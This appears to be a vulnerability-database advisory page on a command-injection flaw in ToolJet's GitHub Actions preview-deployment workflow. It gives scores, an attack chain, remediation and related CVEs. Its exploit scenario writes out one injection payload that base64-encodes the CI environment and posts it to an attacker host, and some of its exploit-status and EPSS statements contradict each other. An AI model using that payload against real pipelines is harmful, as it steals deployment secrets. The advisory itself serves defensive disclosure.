Skip to main content

ToolJet CVE-2026-54344

| EUVDEUVD-2026-42299 HIGH
OS Command Injection (CWE-78)
2026-07-08 GitHub_M
8.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Create or identify open ToolJet pull request
  2. Delivery
    Post comment with shell injection payload matching deploy trigger
  3. Exploit
    GitHub Actions workflow interpolates comment body into bash run step
  4. Execution
    Injected commands execute on CI runner
  5. Impact
    Deployment secrets exfiltrated to attacker-controlled endpoint

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the attacker hold a GitHub account capable of commenting on open pull requests in the ToolJet repository - for a public open-source project, this is any registered GitHub user by default. The specific vulnerable trigger is the render-preview deployment workflow's bash run: step, which must be active and reachable via comment-triggered CI. Exploitation is not possible against ToolJet instances that do not use this specific GitHub Actions workflow. Limiting factors include: the attack targets the CI runner environment rather than deployed ToolJet instances directly; SSVC confirms the attack is not automatable (requires a crafted per-PR comment); and the impact is bounded to secrets and artifacts accessible within the CI runner's scope. Exploitation does not require any knowledge of the ToolJet codebase beyond identifying the trigger comment pattern.

Impact

The provided CVSS score of 8.8 with vector AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H presents an internal tension: the 'Adjacent' attack vector (AV:A) understates the true exposure, since exploitation occurs via GitHub's globally accessible web interface and is not constrained to adjacent-network segments. This discrepancy should be verified with the vendor. The EPSS score of 0.17% at the 7th percentile is notably low, consistent with SSVC's 'Automatable: no' designation - each attack requires crafting a targeted PR comment, preventing fully automated mass exploitation. The SSVC 'Technical Impact: partial' also partially conflicts with the CVSS C:H/I:H/A:H rating; the impact is scoped to the CI runner environment rather than the broader infrastructure. No CISA KEV listing confirms the absence of confirmed widespread active exploitation, though a POC technique is documented. The real-world risk is most significant for downstream consumers of ToolJet's CI-built releases: a compromised CI pipeline can result in poisoned build artifacts or leaked deployment credentials affecting production environments that depend on ToolJet's official release integrity.

Exploit ScenarioDerived

An attacker locates an open pull request in the ToolJet public repository and posts a comment matching the deploy trigger pattern but containing an injected shell payload - for example, appending ; env | base64 | curl -d @- https://attacker.com/exfil # - causing the GitHub Actions runner to execute the injected commands with access to CI environment secrets. Because the ToolJet repository is public and PR commenting requires only a free GitHub account, the barrier to attempt exploitation is minimal. A proof-of-concept for this GitHub Actions expression injection class is publicly documented, further lowering the technical bar.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 26, 2026

CI/CD pipeline injection in ToolJet's GitHub Actions render-preview deployment workflow (versions prior to 3.20.180) allows any GitHub user who can comment on an open pull request to execute arbitrary shell commands on the CI runner and exfiltrate deployment secrets. The root cause is direct interpolation of github.event.comment.body - a fully attacker-controlled input - into a bash conditional run: step without sanitization. A proof-of-concept has been documented (SSVC: poc), the vendor has released a fix in 3.20.180, and the attack is not listed in CISA KEV at time of analysis.

Earlier versions of this analysis (1)
v1 Jul 08, 2026 - 16:41 CVSS 4.7

Command injection in ToolJet's GitHub Actions render preview deployment workflow allows any GitHub user capable of commenting on an open pull request to execute arbitrary shell commands on the CI runner and exfiltrate deployment secrets. The root cause is unsanitized interpolation of github.event.comment.body directly into a bash conditional within a run step, meaning a single malicious PR comment can pivot to full CI runner compromise. No CISA KEV listing exists at time of analysis, but the attack technique - GitHub Actions expression injection - is extremely well-documented publicly, making practical exploitation trivial for any GitHub user with PR commenting rights.

RemediationAI

Vendor-released patch: 3.20.180. Teams should upgrade to ToolJet 3.20.180 or later immediately, as documented in the GitHub Security Advisory at https://github.com/ToolJet/ToolJet/security/advisories/GHSA-4pm2-w6g5-28mm. For forks or self-hosted CI pipelines using the affected workflow prior to patching, the immediate workaround is to assign github.event.comment.body to an environment variable (e.g., env: COMMENT_BODY: ${{ github.event.comment.body }}) and reference $COMMENT_BODY in the bash step rather than interpolating the expression directly - this prevents shell metacharacter injection at the GitHub Actions expression layer. Additionally, restricting the comment-triggered workflow to verified organization members or required reviewers via github.actor membership checks reduces the attacker population, though this does not eliminate the injection class if untrusted input still reaches the shell. Rotating any secrets accessible to the CI runner environment is advisable if exploitation is suspected.

Affected VersionsENISA

ToolJet < 3.20.180

Affected Packages

euvd tooljet fix: 3.20.180

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command - OS Command Injection) and occurs specifically in ToolJet's GitHub Actions workflow for render-preview deployments. GitHub Actions workflow expressions such as ${{ github.event.comment.body }} expand user-supplied content directly into the shell context of a run: step, which is a well-documented class of CI/CD injection. When user-controlled data is interpolated directly into a bash conditional rather than being passed through an environment variable or sanitized, an attacker can inject shell metacharacters to execute arbitrary commands. The affected component is the ToolJet source repository's own CI pipeline, covering all versions identified by CPE cpe:2.3:a:tooljet:tooljet:*:*:*:*:*:*:*:* prior to 3.20.180. Secrets such as deployment API keys and tokens present in the runner environment are the primary exfiltration targets.

Know when Tooljet gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY MEDIUM
NVD 8.8 HIGH
AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 10.0 CRITICAL

Attack is internet-accessible via GitHub PR comments from any account; scope changes as injection crosses from GitHub platform to CI runner infrastructure holding deployment secrets.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorNVD

Attack Vector
Adjacent
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Analysis Updated
Aug 26, 2026 - 16:45 vuln.today
v2 - CVSS changed
Severity Changed
Aug 26, 2026 - 16:37 NVD
MEDIUM HIGH
CVSS changed
Aug 26, 2026 - 16:37 NVD
4.7 (MEDIUM) 8.8 (HIGH)
Patch available
Jul 08, 2026 - 17:01 EUVD

DescriptionNVD

ToolJet is an open-source low-code platform for building internal tools. Prior to 3.20.180, ToolJet's render preview deployment workflow interpolates github.event.comment.body directly into a bash conditional in a run step, allowing any GitHub user who can comment on an open pull request with a deploy command to execute shell commands on the CI runner and exfiltrate deployment secrets. This issue is reported as fixed in version 3.20.180.

Executive ViewAI

Why It Matters

ToolJet versions prior to 3.20.180 allow repository members to execute arbitrary commands in CI/CD pipelines and steal deployment secrets through malicious GitHub pull request comments. Publicly available exploit code exists for this vulnerability. Organizations running affected versions face critical risk to production deployments and credential exposure, requiring immediate action.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 93% exploitable
Prevalence
Medium
popular open-source low-code platform with growing enterprise adoption
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Controlled
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2022-3019 HIGH POC
8.8 Aug 29

The forgot password token basically just makes us capable of taking over the account of whoever comment in an app that w

CVE-2022-2631 HIGH POC
8.8 Aug 02

Improper Access Control in GitHub repository tooljet/tooljet prior to v1.19.0. Rated high severity (CVSS 8.8), this vuln

CVE-2022-23067 HIGH POC
8.8 May 18

ToolJet versions v0.5.0 to v1.2.2 are vulnerable to token leakage via Referer header that leads to account takeover . Ra

CVE-2022-2037 HIGH POC
8.0 Jun 09

Excessive Attack Surface in GitHub repository tooljet/tooljet prior to v1.16.0. Rated high severity (CVSS 8.0), this vul

CVE-2022-27978 HIGH POC
7.5 Apr 26

Tooljet v1.6 does not properly handle missing values in the API, allowing attackers to arbitrarily reset passwords via a

CVE-2022-3422 HIGH POC
7.5 Oct 07

Account Takeover :: when see the info i can see the hash pass i can creaked it ............... Rated high severity (CVSS

CVE-2022-4111 MEDIUM POC
6.5 Nov 22

Unrestricted file size limit can lead to DoS in tooljet/tooljet <1.27 by allowing a logged in attacker to upload profile

CVE-2022-27979 MEDIUM POC
5.4 Apr 26

A cross-site scripting (XSS) vulnerability in ToolJet v1.6.0 allows attackers to execute arbitrary web scripts or HTML v

CVE-2026-55413 CRITICAL
9.4 Jun 25

Stored code injection in ToolJet self-hosted (prior to 3.20.178-lts) lets any authenticated builder-role user - availabl

CVE-2022-23068 MEDIUM POC
5.4 May 18

ToolJet versions v0.6.0 to v1.10.2 are vulnerable to HTML injection where an attacker can inject malicious code inside t

CVE-2022-3348 MEDIUM POC
4.9 Sep 28

Just like in the previous report, an attacker could steal the account of different users. Rated medium severity (CVSS 4.

CVE-2026-55412 HIGH
8.3 Jun 25

Server-side request forgery in ToolJet's RestAPI data source (versions prior to 3.20.178-lts) allows a low-privileged pl

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy